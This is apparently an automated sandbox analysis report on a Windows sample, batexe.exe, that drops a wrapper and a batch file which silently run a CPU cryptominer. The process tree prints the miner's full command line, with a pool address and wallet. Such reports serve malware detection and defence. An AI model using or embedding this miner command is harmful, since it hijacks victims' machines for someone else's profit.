Analysis

  • max time kernel
    296s
  • max time network
    305s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
  • submitted
    12/02/2024, 11:42

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 6 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5252
    • C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:836
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5C63.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4804
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:5396

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe

          Filesize

          9.1MB

          MD5

          a97af40ec89bab099dfdaed9a14197fd

          SHA1

          2ce5555423105a103a6f37cbd104c7390306b177

          SHA256

          28d9e5696290334c5056d90cefe398119d92ed2b4e0ba7271169eeb12e95032c

          SHA512

          ac1ee551740014cc9827839470ebd141e02588d3c430d0f36b0a2226c3a16365c44c597ee8000501a849de3c27396e3f577fd4c0fcf655df9d8582c81b76d2c9

        • C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe

          Filesize

          3.2MB

          MD5

          a30bbc1b194102a86002707998651fb6

          SHA1

          2a303523f0591790b4e59a2729b0241c642ed692

          SHA256

          f3d431b94f2a8ba0246cf8d7da255080ac8f254493d21a53bcca91f50767305e

          SHA512

          4c8ce21d938e75f5fc20a23d27d50cbb2d9147d37b1e3e97629bd8a0349c63d7c49d9a1822b864e6b16e26bf47ade631f8ae445eb6981898109e4ff90f5e371e

        • C:\Users\Admin\AppData\Local\Temp\47C2.tmp\b2e.exe

          Filesize

          2.7MB

          MD5

          1e8f1e1a57a2d70115aad92185fba62e

          SHA1

          cf97ad0f0da2cb8b203eaec3fb42ca341e034a2f

          SHA256

          82d199f07c7feb619dc4da1bcf7a2b4931336700e2bf643b19494e697caa87b1

          SHA512

          747b3cafc3d60cfad8df4632398550d242c0392ac7746f54dc7ffcbdb7557be4b1b17b20eb0901ddce38be28177752be545ea2d0655e779de34fc145b5b3d153

        • C:\Users\Admin\AppData\Local\Temp\5C63.tmp\batchfile.bat

          Filesize

          136B

          MD5

          8ea7ac72a10251ecfb42ef4a88bd330a

          SHA1

          c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

          SHA256

          65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

          SHA512

          a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          1.8MB

          MD5

          d80b98cad14ab7d8ad49bdea10bf6f78

          SHA1

          e36f47025de04864ea3233b946593dc46c7588dd

          SHA256

          87fef499779eccf1270b3f4b1b875f43ef9085178f27475affd5310df78ece4b

          SHA512

          bc5b18eca17a407e1eb233ebd14921a3150e77362ee337dbdb730fd4462e836553f5eefa6c484e1dadcf52e6fc2683dab7b9e2b2182d9b5fa939e48dbc6a8688

        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

          Filesize

          1.3MB

          MD5

          a8fb8ce5ef6285274ba904ac5a53ecb4

          SHA1

          971141242fa9b3ba82cd4183237caeb5a91b8ace

          SHA256

          243f099f1b85d974152cdffce5d94ebc3933cd2ccef56deaaf0c866682312534

          SHA512

          8e78ff22979a8937ddcdd6cca66e0c78017c4b79f46fa134b7d256b1adb34f56213f841222f52e1fe058550d68a6b39735e1f5f1d635d7300572085a7ce5e585

        • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

          Filesize

          836KB

          MD5

          aeab40ed9a8e627ea7cefc1f5cf9bf7a

          SHA1

          5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

          SHA256

          218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

          SHA512

          c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

        • C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

          Filesize

          1.2MB

          MD5

          7cf672bee2afba2dcd0c031ff985958e

          SHA1

          6b82a205db080ffdcb4a4470fce85a14413f3217

          SHA256

          c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

          SHA512

          3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.3MB

          MD5

          ceb6b1de61afd1d0a0b777f4b8c7e22f

          SHA1

          626eb2710383c297ef0988c08f2714c14495c500

          SHA256

          d5892fd2a4c2dd7a1f1a3c9eae889cdbc8e7db4bb1ee82ec07b57e245905b0a8

          SHA512

          8da12bd3ec5cbf775f403e79e0197ca5339ecf5a5f77b4b30193d7ab2613d302694075052c2a26d21a5abefca5498bae02a4b5f98dd8220fdf131792ff10460b

        • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

          Filesize

          1.4MB

          MD5

          f3a39b01ef1c019e805a5c28ba926c76

          SHA1

          39489f4a2f5f8115c2faf939606fd3b6c690065d

          SHA256

          a4aea869b8e202aaf479553b307683b5b258ca225c7136725a9afdff645c5cc2

          SHA512

          086bf9ad3d220c877b27419f7d76cc394a46d373809b81b4b2d1ae8247fc24943443a90206aeb833875a7a47b2bce18f7e577a137de0cd507f40cb0c6af20425

        • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

          Filesize

          606KB

          MD5

          585efec1bc1d4d916a4402c9875dff75

          SHA1

          d209613666ccac9d0ddab29a3bc59aa00a0968fa

          SHA256

          2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

          SHA512

          b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

        • memory/836-69-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/836-7-0x0000000000400000-0x0000000000405000-memory.dmp

          Filesize

          20KB

        • memory/5252-9-0x0000000000400000-0x000000000393A000-memory.dmp

          Filesize

          53.2MB

        • memory/5396-64-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-42-0x0000000000F40000-0x0000000000FFC000-memory.dmp

          Filesize

          752KB

        • memory/5396-46-0x000000006FC40000-0x00000000714F5000-memory.dmp

          Filesize

          24.7MB

        • memory/5396-48-0x0000000000F40000-0x0000000000FFC000-memory.dmp

          Filesize

          752KB

        • memory/5396-49-0x0000000065FD0000-0x0000000066068000-memory.dmp

          Filesize

          608KB

        • memory/5396-50-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-45-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-47-0x0000000061440000-0x000000006156B000-memory.dmp

          Filesize

          1.2MB

        • memory/5396-70-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-75-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-90-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-95-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-105-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-110-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB

        • memory/5396-115-0x0000000000400000-0x0000000000667000-memory.dmp

          Filesize

          2.4MB